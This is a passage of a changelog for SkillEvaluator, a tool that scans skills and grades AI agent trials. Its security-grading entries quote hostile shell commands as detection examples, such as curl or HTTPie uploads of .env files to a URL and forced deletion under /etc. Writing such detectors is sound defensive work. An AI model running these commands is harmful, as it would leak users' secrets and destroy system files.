are left out of the aggregate risk-score gate, counted in afilteredsummary row, and recorded in the JSON report'sskillspector_applicabilityblock.security-scanand targets ofunknowntype keep the unrestricted scan.PII scans no longer report Proton (Steam Play) prefix paths such as
compatdata/<appid>/pfx/drive_c/users/steamuser/as personal macOS paths:steamuseris the profile name Proton uses for every player. Other user names,steamuseroutside apfx/drive_cprefix, profile paths followed by a..segment later on the line, and WindowsC:\Users\steamuserpaths are still reported. When a Proton path and a personal path share a line, the personal path is reported.An unrelated
/home/<user>/path no longer hides a personal home path later on the same line; the PII scan drops such paths before it picks the line's first match.
0.7.2 - 2026-11-03
Added
Add reporting to an existing single-job GitHub scan caller while preserving its skill folders, thresholds, triggers and shared component. Explicit wrapper delegation supports central version-tag updates and retains signed scan identity and the resolved workflow commits in published receipts.
Support CLI setup with verified private GitHub Pages in eligible Enterprise Cloud organization repositories. Publication rechecks site access and the expected URL before retaining reports and before deployment. Private Pages must already be configured by an administrator.
Allow hosted CI reports and PR comments from scans called through explicitly approved reusable workflow wrappers. Direct callers retain the existing setup; signed evaluator identity and exact consumer workflow approvals remain required.
tier3 select-decoysselects neighboring skills from a local description- embedding catalog and saves a reproducible JSON manifest with scores, catalog/model identity, and content hashes. Group evaluations can opt in withskill_workspace.decoy_manifestinevals/config.yml; selected content is verified and shared between paired arms without selecting again. Explicit helper skills and existing workspace defaults remain unchanged. Selections exclude skills bundled inside the target and use portable roots for the target's collection. Decoy hashes cover the staged runtime content, so evaluation configs and other decoy manifests do not invalidate them. Output guards protect evaluation inputs and existing non-manifest files.Tier 1 schema validation accepts a list for
metadata.domaininSKILL.md(for exampledomain: [backend, ai-ml]) instead of reporting a HIGHInput should be a valid stringfinding that also stopped the remaining schema checks for that skill. A single string is still accepted and is treated as a one-entry list. The parsed value is now always a list: entries are trimmed and deduplicated in order, and a missing, null, or blank value becomes an empty list. Lists longer than 16 entries and non-string, blank, or over-128-character entries are rejected. This adds a length limit thatmetadata.domaindid not have before: a single string longer than 128 characters, which used to pass, now fails Tier 1 with a HIGHField 'metadata.domain'finding.
Changed
- Publish updated onboarding templates and CLI metadata while retaining the existing verified scanner workflow and immutable container image.
Documentation
- Keep verified CI templates in the public repository and use one product release for Python packages and CI downloads. Update onboarding links to avoid relying on separate CI release entries.
Fixed
When
validatefinds an unusable Tier 3 source, the terminal and HTML report now say which entries or files failed and why, instead of only "Create or fix the Tier 3 source ... and rerun validation." The terminal lists the errors under the Tier 3 finding when the full CLI report prints (-r clior--verbose) and otherwise in the compact Tier 3 panel. When the run also writes an HTML or JSON report, the terminal shows the first five and names that report for the rest; when it writes neither (for example-r clialone, or--verbosewithout-r), the terminal lists every error. The HTML dashboard shows a single error in full or the error count, and Full Insights lists every error under Source Validation Errors. The errors come from the skill's eval files, so they are printed as plain text with terminal control sequences removed. Passing checks and warnings are not listed. The JSON report still carries every error undertier3.provenance.source_validation. Validation rules, gate decisions, and the finding's suggestion text are unchanged.Tier 2 context deduplication no longer stops valid skills at the
scalar_comparison_limitwork limit below its 512-chunk ceiling. The fixed 25,000,000 scalar-comparison budget stopped 2,048-dimensional embeddings at 156 chunks and 1,536-dimensional embeddings at 180. The budget is now 267,911,168, so embeddings of up to 2,048 dimensions reach all 512 chunks. Wider embeddings have a lower effective chunk limit (418 chunks at 3,072 dimensions, 362 at 4,096), which the incomplete-scan error and the JSONwork_limitrecord now report aseffective_chunk_limit, next to the skill's ownchunk_count.BENCHMARK.mdscore transitions round half-up to one decimal place, keep extra decimals for a score near a dimension verdict threshold so it is never shown in a higher band (49.95%, not50.0%), and derive uplift from the displayed scores. Whole-percent rounding of each value separately had published contradictions such as58% → 95% (+36 points)and50% → 50% (+0 points). Scores outside 0–1 and invalid recorded baselines are shown asNot availableinstead of being published. The public benchmark gate (scripts/ci/check_public_benchmarks.py) now rejects a Results at a Glance cell whose uplift does not equal the displayed difference or whose scores are outside 0–100%; consistent whole-number cards from earlier releases still pass.Tier 3
custom_onlyruns no longer label a condition without a scoreable reward, for example one whose attempts all failed, with the standard metric set andskill-evaluator-dimension-mean-v1policy. That condition'ssummary.json, the agent's recorded metrics and score policies,attempt_policy.json, and the report's score definition now carry thecustom-onlymetric set andcustom-overall-v1policy. When a Harbor job never started, both conditions' persistedsummary.jsonfiles record that metric set and policy. A failed custom-only agent is therefore no longer treated as a standard agent. Scores were already cleared for these conditions, and observed rewards still determine their own metric set.Tier 3 security grading no longer treats
rm -forrm --forcewithout-r,-R, or--recursiveas a destructive command. Routine cleanup such asrm -f out.txt && python run.pyorfind . -name '*.pyc' -exec rm -f {} \;received a critical destructive-command finding and a security score of 0.0 in both graders, which could fail the Security dimension and the Tier 3 verdict. Force-only deletion keeps the finding when a target resolves under/bin,/boot,/etc,/home,/lib*,/root,/sbin,/usr, or/var(except/var/tmp), or under~or$HOME. Brace lists and dot globs are expanded first,find -exec rm -f {}is checked against find's start paths, and a relative target resolves against the directory that the tool call'sworkdirand each earliercd,pushd, orpopdleave the shell in, sofind / -exec rm -f {} +andcd /etc && rm -f hostskeep the finding while(cd /etc && ls); rm -f out.txtandecho 'run: cd /etc'; rm -f out.txtdo not. This resolution has a per-trace work cap; past it, force-only targets keep the finding, as do relative targets after one call moves through more than 32 directories. Recursive deletion andxargs rm -fare graded as before.Tier 3
--stop-on-passruns with local-mode Codex no longer fail to finalize when Harbor's best-effort Codex cleanup is skipped, for example after a timeout or cancellation. Merging the per-attempt jobs now omits the leftovercodex-homeandcodex-secretsdirectories in each trial'sagent/orsteps/<step>/agent/directory, including steps whose names span several path components, such asphase/author, as declared in the trial'sresult.json. Their linkedauth.jsonmade the merge fail closed, and a regular-fileauth.jsonwas copied into the merged job with the Codex credential. Symlink and hard-link checks still apply everywhere else, including to the same names at any other depth.Tier 3 security grading no longer reports a network-exfiltration warning, which lowered the Security score to 0.5, when a command only names
curl,wget, or HTTPie as data:apt-get install -y curl,which curl,grep -rn http src/,env | grep -i http, or a client mentioned in a shell comment or here-document prose. Every client named after another command is now checked with its own upload rules, as for a direct invocation, sofind . -exec curl -d @{} URL \;,poetry run curl -T .env URL, andfind . -name wget -exec curl -d @.env URL \;still warn, while a plain request through a command that is not a runner, such asstrace -f curl URLorfind . -exec curl URL \;, is now scored like a directcurl URL. A mention followed by an HTTP method, an upload flag, or akey=valueword, such ashttp POSTin prose, still warns. A fixed set of runners that start a command in another host, container, root, user, or network namespace, such asssh,docker,docker-compose,kubectl,apptainer,chroot,systemd-nspawn,bwrap, orip netns exec, warns on any client named after it, even one named only as data, as indocker exec app apt-get install -y curl. That holds when the runner is the command itself, including after a compound keyword, function header,casepattern, orcoproc, also when glued to it (while true; do ssh host curl URL; done,if(ssh host curl URL),case x in x)ssh host curl URL;; esac), when it follows a pass-through wrapper such asstrace,ionice,flock, orwatch, and when a function that wraps it is called. A runner reached through another command, as infind . -exec ssh host curl URL \;orgit submodule foreach ssh host curl URL, and a runner outside the set are checked only with the client's upload rules. Piped or redirected input stays with a text consumer such asgrep,awk,sed, orjq; any other command, loop,if,{ ...; }group, or function body may pass it on, socat .env | strace -f http URL,< .env http URL,sudo < .env http URL,2>&1 < .env http URL,case "$1" in *) < .env http URL;; esac, andwhile read -r l; do http URL; done < .envstill warn. A function that wraps a client, as inup() { curl "$@"; }; up -d @.env URLorup(){ curl "$@"; }; up -d @.env URL, is checked with that client's rules, and a$VARcommand word with no known value, in an action that names curl or wget as a word, gets the curl and wget upload rules, as infor c in curl wget; do $c --post-file=.env -q URL; done. A substitution any of whose commands names a client or runner, such as$(which curl),$(env which curl),$(cd /tmp && which curl),$(command -v curl 2>/dev/null),$(readlink -f $(which curl)), or$(which ssh), and$CURLafter a plain,export,declare,read, orprintf -vassignment, resolve to that command; a fallback chain such as$(command -v wget || command -v curl)is checked once for each name. A command printed by$(echo curl -d @.env URL)or$(printf ...)keeps its printed arguments. Both the host checker and the bundled Harbor verifier apply these rules.similarity-check --catalogandtier2 --catalogno longer report a skill that is already in the local catalog as anEXACT_DUPLICATEof its own entry, which failed the run. An entry is skipped as the skill's own only when its content fingerprint matches, its path ends the skill's path, and more than half of up to eight other catalog skills, spread evenly across the catalog's path-sorted list, are present unchanged at their recorded paths around it. The skip is recorded underself_matches_excludedandexcluded_catalog_paths. Verbatim copies and same-name skills outside the catalog's tree are still reported; a copy of most of the tree, such as a second checkout, counts as the same tree. An edited skill whose name, description, or (with--full-body)SKILL.mdchanged is still compared with its old entry; build the catalog from the tree you screen.
0.7.1 - 2026-11-02
Added
Include
skillevaluator ci init,ci statusandci demoin the Python package. Guided GitHub onboarding discovers skills, configures checks and optional public hosted reports, and opens a reviewable setup PR. An optional test PR demonstrates the results. Existing Pages sites and organization action restrictions are preserved; private repositories can use checks only.Add a visual CLI onboarding guide under GitHub Actions, alongside the manual template path. Keep GitHub and GitLab as the two repository-integration choices.
Allow CI release templates to pin the reviewed report publisher separately from the verified scanner workflow and image.
In local mode (
--env-mode local), a missing Claude Code, Codex, or OpenCode CLI is offered as a pinned npm install into the SkillEvaluator runtime folder; without a terminal, the command is printed instead.doctorandhealth-checktake--tier 1|2|3|all, so Tier 1 and Tier 2 readiness can be checked before a run instead of surfacing mid-validation. Tier 1 reports each scanner that the--checksselection runs: SkillSpector, Bandit, Semgrep, Gitleaks, and pip-audit fordependency. Each row shows the resolved path, any executable override, and the version from a bounded, shell-free probe. A scanner fails when it is missing, its override is malformed, its probe fails or exceeds--timeout(default 60 seconds, at most 3600), or it is older than Bandit 1.9.4 or Gitleaks 8. Tier 2 resolves the embedding and LLM providers offline.doctor --tier 2 --verify-modelsalso sends one embedding request and one chat request, each bounded by--timeoutand sent without retries, and reports only the HTTP status and a remedy.--tier allchecks every tier, and a failed tier does not stop the next. Without--tier, both commands still check Tier 3 only. An option for an unselected tier, or--timeoutfor an offline Tier 2 check, is a usage error.tier3 doctorremains Tier 3-only.--skip-with-skillontier3 evaluateand the directtier3workflow runs only the without-skill baseline arm, for example to calibrate a task set or re-measure a baseline after a model change without paying for with-skill trials. Only baseline tasks are staged and launched. The run is reported as a baseline calibration:modeisbaseline_only, the overall score and best agent come from the baseline arm, the with-skill arm is recorded asskipped, with-skill scores and lift stay unavailable instead of becoming 0.0 (report tables printskipped), and the verdict stays NEUTRAL. The flag is mutually exclusive with--skip-baseline, keeps the baseline isolation rules, and is not accepted byvalidate, so a baseline-only run cannot pass a Tier 3 gate.Tier 1 sets up SkillSpector 2.13.3 and Gitleaks 8.30.0 on first use from pinned, SHA-256-verified releases, without a prompt; Semgrep is optional unless
SKILLEVALUATOR_REQUIRE_SEMGREP=1.--skip <check>onvalidateandtier1leaves a check out and reports it as skipped. Ascannersrow and the JSON report record which scanner versions ran.
Changed
Shared LLM calls and the Harbor verifier retry HTTP 408, 429, and every 5xx response except 501 and 505, including proxy 520–524 and overload 529 errors. TLS certificate verification failures stop immediately. The host Bedrock path preserves the underlying status and certificate failure through LiteLLM wrappers, so generic 500/503 errors do not cause extra attempts. This applies to ordinary skill evaluations and other host LLM calls as well as plugin evaluations; retry limits and scoring formulas are unchanged.
The compact
validateview lists every Tier 3 test case with and without the skill, updates the list while trials run, and ends each tier with a short "what to fix" list: the problem, then the action. A required scanner that could not run counts as "didn't run", not as a failed check.
Fixed
PR scan comments show the verdict, quality scores, first actionable fixes and report links; full provenance and detailed findings stay in the report.
Hosted reports use the retained site commit as the Pages deployment identity, so repeated publications from one default-branch revision deploy fresh reports.
Reusable Tier 1 CI always requires Semgrep in scanner subprocesses, so local optional-scanner defaults cannot hide missing CI code-scanning coverage.
Use public, commit-pinned README image URLs so the wordmark and three-tier diagram can render in PyPI package descriptions as well as on GitHub.
On Windows, repository root and source-link detection no longer break for repositories in non-ASCII folders. Git's repository path is decoded as a file name and its remote URL and branch as UTF-8, instead of with the locale code page.
A chat model that declines to classify a Tier 2 content cluster (a safety refusal, which some models return for security-themed skill content) no longer marks the scan incomplete and fails
validateunder the default--block-on-dedup. Tier 2 now reports the refusal as an advisory MEDIUMllm_refusedfinding that names the overlapping sections, and the JSON report'sllm_analysiscounts it inclusters_refused. Other chat-LLM failures still leave the scan incomplete. RaiseCONTENT_DEDUP.llm_refusedin a policy overlay to keep refusals blocking.Tier 1 security scans no longer fail a skill for an exact read-only
/etc/passwdbind mount such asdocker run -v /etc/passwd:/etc/passwd:ro. SkillSpector 2.11.1 and later tags this mount as likely benign but still reports a HIGH Credential Access (PE3) finding. That finding is now ignored only when it carries both benign-context tags and every/etc/passwdon the reported source line, read without following links, is the source or target of such a mount. The aggregate risk score is recomputed without it. Writable or implicit-mode mounts, other paths, same-line reads such ascat /etc/passwd, aggregated rows, and earlier SkillSpector versions still block. Captured SkillSpector 2.13.3 reports cover both mount operands and a separate blocking read, and partial LLM-response inspection stays incomplete. Static reports are accepted when a provider is available but LLM analysis was neither requested nor applied; availability alone is not execution.The Tier 1 SkillSpector scan of a skill that references PNG or JPEG images, such as a logo shown with
, is no longerINCOMPLETEonly because SkillSpector's text pattern analyzers cannot read images and report the analysis aspartial. That gap is now a warning when the report shows no other gap and no fatal scope exclusion, and each image is a regular, single-link (not hard-linked), non-executable file whose bytes have the chunk or marker structure of a PNG or JPEG, is not reached through a symlink, and is not in a directory that agents run, load as instructions or read as configuration. The gap is accepted for at most 256 images and 128 MiB of image data in total. The structure check corroborates the file type without decoding the image or proving that it renders. PNG IDAT compressed data and ancillary chunks, and JPEG entropy-coded data and APPn or COM segments, are not inspected and can still carry other bytes. Other image formats, files without that structure, and every other partial reason still leave the scanINCOMPLETE. SkillSpector's own HighAE1findings for images it could not inspect are unchanged.Tier 3 plain progress output, which
--progress autoselects for CI and redirected logs, now repeats itsstill runningheartbeat every 60 seconds instead of every second, so long runs no longer add thousands of identical lines per hour. The interactive Rich view still refreshes every second. A new--progress-interval SECONDSoption ontier3 evaluateandtier3 PATHsets the interval explicitly for either view (0.05 to 86400 seconds; non-finite values are rejected).SkillSpector runs are no longer stopped after a fixed 300 seconds, which ended slow
--llmsecurity scans, such as those on local models, asINCOMPLETEbefore SkillSpector's own scan deadline (1,080 seconds in v2.13.3). Each run now has a 1,200-second watchdog by default; setSKILLEVALUATOR_SKILLSPECTOR_TIMEOUT_SECONDSto a positive integer to change it (values above 86400 are capped).SKILLSPECTOR_MAX_WORKFLOW_SECONDSis now forwarded to SkillSpector so its own deadline can be raised as well, and the security result records the effectiveskillspector_timeout_seconds(#155).
0.7.0 - 2026-11-02
Added
Custom execution backends. An installed package can add an
--env-modethrough theskillevaluator.env_modesentry-point group, naming anEnvironmentBackendSpecwith a Harbor environment class plus the--ekkwargs, host variables, prerequisite hook, and optional agent wrappers that backend accepts. Custom execution backends follow the same kwarg andruntime_envpolicy as Harbor-native backends, may not forward agent, provider, or other backends' credentials, cannot replace a built-in mode or share a name with another installed package, are not named on published benchmark cards, and can be turned off withSKILLEVALUATOR_DISABLE_CUSTOM_BACKENDS=1.The lightweight
publisherinstall extra adds the dependencies for verifying GitHub-signed execution receipts without installing the Tier 3 runtime.Private Python helpers add bounded plugin manifest discovery, component inventories, hook/MCP/LSP/settings and permission checks, context estimates, dependency and endpoint audits, and local catalog comparisons. Private runtime helpers collect canary and hook evidence for explicit callers.
Support Python 3.14 alongside Python 3.12 and 3.13, including installation guidance and CI coverage for tests and built packages.
Add reusable GitLab CI onboarding and configurable Tier 1 quality thresholds, alongside a shared repository integration guide.
Opt-in
SKILL_EVAL_JUDGE_CHARACTER_FACTS=1adds bounded, escaped Unicode character facts to Tier 3 accuracy, goal-accuracy, and behavior-check prompts without normalizing the evidence. The operator setting is verifier-only; enabling it selects the prompt-based goal judge instead of the optional RAGAS route. Metadata uses the same text rendering as the judge prompts, including numeric and nullable fields. Existing prompts remain unchanged when the setting is unset.tier3 evaluatenow leads with a case-first summary: a verdict line and one row perevals.jsoncase. With one agent, each row shows, for with and without the skill, the pass count, per-attempt marks (✓pass,✗fail,⊘did not run,·skipped after a pass) and mean score, plus an effect column (helps,hurts,both fail,better score,worse score,no change,inconclusive). With several agents, each agent gets a column showing without-skill → with-skill marks and the pass-rate change. Success rate, quality score, and dimensions follow. A "How to improve" list follows, capped at three. It puts run errors last and ranks each group by attempts lost; each item names the case, agent, issue type (skill,skill not used,skill hurts,environment,run error,eval case,missing input,goal not met), one action, and an evidence path, and is also written towhat_to_fix.jsonin the run directory. When nothing needs fixing it prints a one-line "nothing to fix" instead. The verdict isinconclusivewhen attempts did not run. The per-evaluator and per-dimension tables and metric findings moved behind the new--verboseflag and remain inreport.html.goal not metflags with-skill attempts that pass on the aggregate score while the judge scored goal accuracy 0.00 (for example, the agent only asked for details).report.htmlleads with the same case-based findings: "Verdict at a glance" adds the per-case result, the highest-scoring agent versus the biggest skill lift, and the goal-not-met count; "Conclusion & Next Steps" and the Insights recommendations list thewhat_to_fix.jsonfixes (or "Nothing to fix"). Data fixes elsewhere: Pass@K shows attempts passed, a regressed passing dimension reads "PASS · regressed" with its weakest signal, resource totals are formatted with units and percent change, Attempt Details groups each case's with/without rows and marks passes that missed the goal, and Error Recovery lists only trials with faults, retries or warnings.Reusable GitHub Actions onboarding for complete Tier 1 checks, with pinned runtime/workflow consumer templates, affected-skill PR selection, optional hosted reports and updated PR feedback. The new guide separates basic scanning from publisher setup; public image publication and generated release files require a reviewed manual release before consumer use. The Tier 1 image is a multi-stage build with precompiled bytecode that ships only the locked Semgrep, SkillSpector and SkillEvaluator environments, Gitleaks,
ci/and the license files. A release builds it without cached layers and pushes the image it smoke-tested.The reusable Tier 1 workflow scans up to four skills at once. The
scan-workersinput (1 to 16) changes this, and1scans one skill at a time. Each worker gets its own private home and temporary directory. Logs, annotations and report rows keep skill order, and skills not started when the scan time budget runs out are still reported as not evaluated. A timeout, Ctrl-C or an error while saving results ends running scans together with the scanner tools they started.--quality-config PATHonvalidate,quality-check, andtier1loads the deterministic quality check's expected Markdown headings from a YAML file instead of the built-in list. Eachexpected_headersentry sets aheadingand optionalalternatives,points(default 5),message, andsuggestion; omitted message and suggestion text is generated from the headings. Without the flag, the packagedquality-default.yamlreproduces the previous Prerequisites, Limitations, and Troubleshooting checks and wording, so default scores are unchanged. An invalid file (bad YAML or unparseable values, unknown keys, duplicate keys or headings, non-heading values) is rejected before validation starts with exit code 2 and a message naming the file and field, even when--checksleaves outquality. The JSON report, Markdown report, and BENCHMARK.md record which config produced the quality score asquality_config(packagedorcustom, the custom file's name, asha256:digest of the normalized rules, and the--min-scorepass threshold, which is kept out of the digest).CI-native per-skill HTML pages link Download JSON to the retained
skillevaluator-tier1.jsonand do not embed a second copy of the report JSON. Standalone CLI HTML reports embed it for Export JSON.Tier 3 runs can be limited to the first N eval cases with the opt-in
--max-cases Nflag onvalidate,tier3, andtier3 evaluate, or theharbor.max_caseskey inevals/config.yml; the CLI value wins. Unset, every case runs as before. Cases are taken in staged order (dataset order, or task-directory name order for native Harbor tasks) and the same subset runs for every agent's with-skill and baseline arms. The dataset snapshot and expected-case checks cover only the cases that ran,run_config.jsonrecords the selection ascase_selection, and a run that skipped cases is reported as publication-incomplete in JSON, HTML, and BENCHMARK.md.Tier 1
--llmsecurity scans of a single skill keep the LLM provenance that SkillSpector v2.12.0 and later report: the provider adapter, the model and SkillSpector revision behind each LLM analyzer, and the sampling and determinism evidence. The Security result in the JSON report carries it asskillspector_llm_provenance, next toskillspector_provider_id, the SkillEvaluator provider the scan was bridged from (for examplenv_build). The HTML report, including CI pages rendered from the retained Tier 1 JSON, lists it in a collapsible Tier 1 LLM Provenance table. The record is also kept when the LLM stage fails or SkillSpector does not confirm LLM analysis, as long as SkillSpector's JSON output carries a valid record, so the report shows what was attempted. Records that do not match SkillSpector's provenance contract or that contain endpoint- or credential-shaped values are left out, and older SkillSpector releases produce no record.
Changed
- Hosted GitHub reports verify a separate GitHub-signed execution receipt.
Enable
id-token: writein the scan workflow and refresh its approved blob when adding hosting; ordinary scans keep their existing read-only permissions. - Link GitHub and GitLab source templates directly from the README and onboarding guides. Keep report, log and PR comment examples in the public repository, removing onboarding dependencies on personal demo links.
- GitHub onboarding shows the PR comment example directly on the page and explains the two templates and required one-time publisher setup.
- HTML reports use a verdict-led layout with a sidebar and expandable check details. The verdict replaces the pass percentage; checks marked Not applicable are excluded from passed and executed counts. Publication status remains visible on mobile and in print, and blocking/advisory findings retain their separate counts.
- The HTML report opens on the answer. The skill name is the page title, and the header shows one verdict, the date and version, and Download JSON. A summary gives the verdict with a one-line reason, four numbers with one definition of a finding, and a Fix first list of up to five places, most severe first and linked to their evidence. A scanner that did not finish is listed first with its own reason, and two scanners reporting one location take one entry. Scanner diagnostics always show and print. Failed checks are listed first, raw check IDs get plain names, and publication eligibility sits next to the verdict.
- The HTML report, the CI index and the Pages history use one verdict vocabulary: Passed, Changes required, Incomplete, Skipped and Neutral. When no check ran, the header and the summary both say Skipped. A failing tier whose gate does not block shows Failed (advisory). The CI index names the same first fix as each skill's report and links to it.
- The SkillEvaluator logo replaces the letter tile and the green square on every report page, the CI index and the Pages history. Colors use one palette built on the logo greens, with WCAG AA text contrast in light and dark themes. The report follows the system theme until the reader picks one, and prints dark text on white paper, Tier 3 charts included. No text is smaller than 11 px, and short table cells no longer break mid-word.
- Dependency audits inspect pinned package versions without installing packages or executing build scripts. Unpinned, URL and other unresolved requirements report incomplete coverage instead of executing package resolution.
- The CLI reference now compares the direct
tier1,tier2, andtier3workflows withvalidate --tiers: which tiers run, Tier 1 dependency and LLM stages, report files, and exit codes. It also states that--tiersmust include Tier 1, so Tier 2 or Tier 3 alone runs through its direct workflow. - Install instructions, the CI recipe, the missing-scanner hint and the Tier 1
CI image's scanner lock now pin SkillSpector to
v2.13.3instead ofv2.12.0. Withv2.12.0, the Tier 1 security check could beINCOMPLETEor fail for skills with no real issue: valid Python and Perl helpers were recorded as only partially inspected (static_parse_limitorobfuscated_instruction_text, NVIDIA/SkillSpector#777), the bytecode check could hit its time budget while waiting behind other analyzers (runtime_limit, NVIDIA/SkillSpector#828), and visible text between HTML comments raised High P2 hidden-instruction findings (NVIDIA/SkillSpector#452). An existing SkillSpector install keeps its version until you rerun the install command.v2.13.3still does not return structured output for Claude 5.5 models, so setSKILLSPECTOR_MODELas before whenSKILL_EVAL_LLM_MODELnames one. - README and onboarding docs now offer two first-run paths: a lightweight, keyless quality check on a bundled skill, or an NVIDIA Build rubric evaluation with eligible free prototyping access. Installation adds extras as needed, and the guides separate quality results from full scanner and live-agent evidence.
- The optional GitHub report publisher downloads only a small
skill-evaluator-tier1-evidence-attempt-Nartifact holdingsummary.jsonand each skill's JSON. At 99 skills the download drops from 4.2 MB to 0.46 MB, and HTML, SARIF and logs no longer count toward its 64 MiB limit. A scan from an evaluator revision that does not upload this artifact cannot be published. Re-running it reuses that evaluator, so update the scan caller and the publisher allowlists, then start a new scan. When an automatic run commits nothing new, the publisher skips its Pages deploy and PR comment and leaves both to the run that pushed that content. The publisher also installs uv into a private environment instead of the runner's system Python, checks out only the tool files each job needs and replaces site files atomically. It and the PR comment helper share one GitHub client, which rejects sibling repository endpoints and NaN or Infinity in JSON for both. - HTML reports rendered in one process share one compiled template environment, so each template compiles once per process instead of once per report.
Documentation
- Give the performance dashboard its own sidebar guide, retain the previous Reports & Results link, and explain matching-judge and activation limits on comparisons. Clarify the independent per-skill quality threshold, Windows Docker setup, and custom-backend and MCP environment controls.
Fixed
Tier 3 reports preserve judge-model exclusions when calculating dimension and overall lift. Native multi-step results also retain the judge provenance needed for those comparisons, so fallback judges cannot turn a regression into an apparent improvement. Judge-free cases retain valid lift, bounded report loads use the collector's recorded comparisons, and FINAL-strategy trials use only the final step's judges. The CLI displays unavailable comparisons as
n/a. Dashboard score differences preserve the same matching-judge lift, including unavailable comparisons.The LLM judge treats a schema option reported as
unavailableas a schema rejection and retries without it, so OpenAI-compatible endpoints such as DeepSeek, which answerresponse_format: json_schemawith HTTP 400 and "This response_format type is unavailable now", can score Tier 3 instead of failing every judge call (fixes #207).External scanners no longer crash the scan when they print bytes that the selected text codec cannot decode (for example a Windows traceback with a CJK path). Those bytes are replaced, so the captured output is never
None, and valid output keeps the selected codec and universal-newline handling.The Tier 1 LLM rubric gives reasoning models (DeepSeek R and V4, OpenAI o1, o3, o4 and GPT-5 families, and models named "reasoning") a 32,768-token budget instead of the default 16,384, giving hidden reasoning more room before the rubric JSON is emitted. The budget follows the model each request resolves to, is capped at 16,384 on the Anthropic provider, and an explicit
max_tokensoverrides this default, subject to provider and model limits.doctor --env-mode dockerand Tier 3 runs on Windows now find the Harbor CLI installed next to the active interpreter asharbor.exeorharbor.cmd, instead of reporting "harbor CLI not found".Tier 3 records
accuracyandgoal_accuracyas N/A when an eval case has no reference answer, andbehavior_checkas N/A when it has no expected behavior, without calling those judges.skill_executionandskill_efficiencyare N/A in a baseline arm with no skill it could activate; staged acceptable alternatives keep them applicable. Scores and lift exclude explicitly marked N/A metrics, while Security remains required and missing or failed evidence stays incomplete. Pass-rate lift uses the metrics shared by both arms, so activation alone cannot create lift.On Windows, repository root and source-link detection no longer break for repositories in non-ASCII folders: Git output is decoded as UTF-8 instead of the locale code page.
Private plugin risk checks preserve PowerShell semantics in hook conditions, grants, findings and remediation; denying Bash no longer hides a PowerShell grant.
CI quality thresholds apply to every parallel scan worker. Report overviews and detailed reports surface failed quality gates ahead of advisory findings, with links to the check that needs attention.
Tier 2 caps every intra-skill embedding chunk at 3,000 characters, preserves meaningful short tails and actual Python docstring source ranges, and avoids counting pieces of one original chunk as duplicates of each other. Oversized Markdown sections are packed by paragraph, so short labels and fragments stay attached to their neighbours, source ranges retain blank-line gaps, and findings list a split source once.
Local-mode verifier uploads now copy directly to the absent destination, avoiding an unnecessary rollback snapshot of an empty tests directory. Inputs and rewritten scripts are prepared privately before publication, so failed uploads preserve existing verifier files. Missing or invalid sources fail rather than creating an empty verifier directory. Per-step verifier uploads retain shared test files, with step files taking precedence. After any command runs, the next upload replaces the tests directory, so files or links the agent left there cannot change verification.
Harbor's standalone verifier now runs on Python 3.9 task images after sharing deterministic checks with the host evaluator, and honours HTTP-date
Retry-Afterheaders there. CI scores a sample trajectory with the packaged verifier on a real Python 3.9 interpreter to retain this compatibility.With
--stop-on-pass, a retained Harbor agent timeout followed by a matching completed attempt no longer invalidates the scored result. Timeout rewards remain excluded, failure history is retained, and the JSON summaries distinguish scored, recovered, and intentionally skipped attempts. Recovered timeouts are reported underrecovered_trial_failuresandhistorical_job_failuresinstead of as active failures. Other execution failures and incomplete comparisons still fail validation.Plain removal of recognized regenerable caches no longer receives the Tier 3 destructive-command penalty. Dynamic commands, mixed targets and other destructive operations retain their existing classification in both verifiers.
Rubric evaluation preserves the original
SKILL.mdtext without adding YAML separators and includes reachable local Markdown guides under their source paths. Required guidance is collected before optional previews, with cycle detection, secure contained reads, verified file-alias deduplication, a 256-document ceiling, and the existing 3,000-byte per-file / 30,000-byte supplementary limits. Missing, unsafe, or oversized required guidance stops judging without a score or provider request (#233).PII credential findings mask their values and source lines. GitHub CI stages scanner output privately, redacts recognized credential values from retained reports and logs, and withholds detailed output when redaction cannot finish.
Local Claude Code trials retain Harbor's instruction environment variables so prompts reach
claude --print. The exception accepts only the legacyHARBOR_INSTRUCTIONname and Claude Code's UUID-named instruction variable; protected paths, loader controls, and unrelated Harbor variables retain their existing filtering (#245).Tier 3 reports preserve unavailable evaluator lift as
nullwhen no baseline ran, rather than reporting a measured zero. CLI evaluator tables display missing or unavailable scores asn/awithout interrupting JSON and HTML report generation; measured zeroes retain their numeric formatting (#240).Tier 3 HTML reports no longer label a recorded baseline as missing. When an agent or dimension has a baseline score but no comparable lift, for example because the arms used different score policies or no case kept matching judge models, the dimension grid, agent scorecards, and Skill Lift card now say "comparison unavailable" instead of "no baseline". Rows with no baseline score, such as
--skip-baselineruns, keep "no baseline".Explicit searches of
/(find,grep -r,rg,ag,duandtreewith a/operand, and native search tools rooted at/) now count as wasted tool calls whether or not they name the expected skill or script, including when output is redirected or the search runs insidesh -c. Host and bundled scoring agree, while scoped searches and slash-valued patterns retain their classification.Tier 3
claude-codetrials no longer hang until the agent timeout after the agent has already answered. Claude Code moves a shell command that outlasts its Bash timeout to the background, and a headless run waits for background commands before it exits, so a command that never finishes (for example agrep -r /search for a missing skill) held the trial open and the case was recorded as an unscored agent timeout. Generated and native tasks now setCLAUDE_CODE_DISABLE_BACKGROUND_TASKS=1in the task environment for every env mode, so each command finishes in its turn or is stopped at Claude Code's Bash timeout (2 minutes unless the agent requests a longer one). Neitherharbor.runtime_envnor a native task's[environment.env]can turn background tasks back on, and other agents ignore the variable. A skill whose single commands need longer can raise Claude Code's default withBASH_DEFAULT_TIMEOUT_MSinharbor.runtime_env.PII email scans recognize all RFC 2606 reserved domains, including their subdomains, mixed-case forms, trailing dots, and prose ellipses. A local-part boundary prevents quadratic rescanning of long excluded addresses. Ordinary addresses on the same line and domains that merely resemble placeholders remain detectable (#244).
A skill that exceeds a Tier 2 context-deduplication work limit (more than 512 content chunks, too much pairwise comparison work, or an LLM-review limit: more than 50 candidate clusters, more than 64 members in one cluster, or an oversized per-cluster or total review prompt) is now reported as INCOMPLETE instead of failing with a CRITICAL
chunk_count_limit,scalar_comparison_limit,llm_cluster_count_limit,llm_cluster_member_limit,llm_prompt_size_limit, orllm_total_prompt_size_limitfinding. Those findings read as duplicate content in the skill and showedFAILEDwith "Publication blocked" in BENCHMARK.md, and a policy severity override could downgrade them into a pass with no duplicate analysis. Exit codes are otherwise unchanged. An execution error names the limit, and the JSON report records it underwork_limit.Tier 3 security grading preserves ordinary nested
